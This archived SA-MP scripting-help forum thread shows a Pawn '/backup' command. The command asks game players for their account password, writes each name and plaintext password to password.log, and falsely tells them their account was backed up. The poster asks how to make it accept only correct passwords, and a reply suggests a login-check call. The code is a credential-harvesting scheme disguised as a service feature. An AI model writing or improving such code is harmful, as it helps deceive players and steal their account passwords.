SA-MP Forums Archive
Check password - Printable Version

+- SA-MP Forums Archive (https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: Check password (/showthread.php?tid=592026)



Check password - Sh4d0w2 - 19.10.2015

I want to make this cmd check if the password is correct it said "you succesfully.........." and if incorrect it said "incorrect password"

PHP код:
CMD:backup(playeridparams[])
{
new 
text[64], name[MAX_PLAYER_NAME], pass[256], File:passfile;
if(
sscanf(params"s[64]"text)) return SendClientMessage(playeridCOLOR_RED"USAGE : "cwhite"/backup "cyellow"[ACCOUNT PASSWORD]");
GetPlayerName(playeridnamesizeof(name));
format(passsizeof(pass), "Name : %s  Password : %s\r\n\n"nametext);
passfile fopen("password.log"io_append);
fwrite(passfilepass);
fclose(passfile);
SendClientMessage(playeridCOLOR_WHITE"You succesfully backup your "#cyellow"account "#cwhite"to us ");
return 1;

Maybe this code can help:
PHP код:
if (udb_CheckLogin(PlayerName2(playerid),pass))